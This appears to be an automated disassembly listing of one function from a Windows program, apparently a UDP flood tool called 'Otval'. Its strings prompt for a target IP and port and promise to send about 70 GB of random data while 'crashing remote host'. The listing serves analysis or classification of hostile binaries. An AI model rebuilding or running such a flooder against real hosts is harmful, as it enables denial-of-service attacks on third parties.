Function at 0x140001210
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x200
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, str.OTVAL__Flooding_over_UDP__nEnter_valid_IP_address_n_For_example__192.168.0.1_:
call fcn.140001020
lea rdx, [0x14000d680]
lea rcx, [0x140003480]
call fcn.140001080
lea rcx, [0x14000d680]
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x140001279
lea rcx, str.ERR:_Invalid_IP_Address_nPress_any_key_to_exit..._n
jmp 0x14000147d
lea rcx, str._nEnter_valid_UDP_port:__0_65535__n_For_example__for_SNMP___162_:
call fcn.140001020
lea rdx, [0x140005034]
lea rcx, [0x140003504]
call fcn.140001080
lea rcx, [0x140003508]
call fcn.140001020
cmp dword [0x140005034], 0x10000
ja 0x140001476
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x1400012e2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.ERR:_WSA_Initialization_error:__i_nPress_any_key_to_exit..._n
call fcn.140001020
jmp 0x140001482
lea rcx, str.Y:_WSA_initialized_successfully_n
call fcn.140001020
mov ebx, 2
lea r8d, [rbx + 0xf]
mov edx, ebx
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14000d678], rax
cmp rax, 0xffffffffffffffff
jne 0x140001327
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.ERR:_Socket_opening_error:__i_nPress_any_key_to_exit..._n
call fcn.140001020
jmp 0x140001482
lea rcx, str.Y:_Socket_made_successfully_n
call fcn.140001020
xorps xmm0, xmm0
movups xmmword [0x14000d690], xmm0
mov word [0x14000d690], bx
movzx ecx, word [0x140005034]
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14000d692], ax
lea rcx, [0x14000d680]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14000d694], eax
mov edx, 0x7fa4
mov r8d, 0x7ffffff8
lea rcx, str._nUDP_Otval._This_program_will_send_to_specified_address:_n_nrandom_string___sizeof_string____i_bytes___nwill_send_for__i_times._n_70_171_175_420_640_bytes_total_except_UDP_losses__n_n_nPress_any_key_and_wait_some_time_while_were_crashing_remote_host..._n_n
call fcn.140001020
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
lea rcx, str._nY:_OTVALLING..._n_n_n
call fcn.140001020
mov ecx, 8
call fcn.1400016ac
lea rcx, [0x140001100]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400014d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140001462
cmp dword [rsp + 0x38], 0
je 0x140001456
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140001456
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, str.To_exit_immediately__press__0_
call fcn.140001020
cmp byte [0x1400056c4], 0x30
je 0x140001430
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov byte [0x1400056c4], al
cmp al, 0x30
jne 0x140001420
mov rcx, qword [0x14000d678]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
cmp dword [rsp + 0x38], 0
je 0x140001452
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
jmp 0x14000148d
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, str.ERR:_Invalid_Port__must_be_0___65535__nPress_any_key_to_exit..._n
call fcn.140001020
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov eax, 1
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.140001510
add rsp, 0x200
pop rbx
ret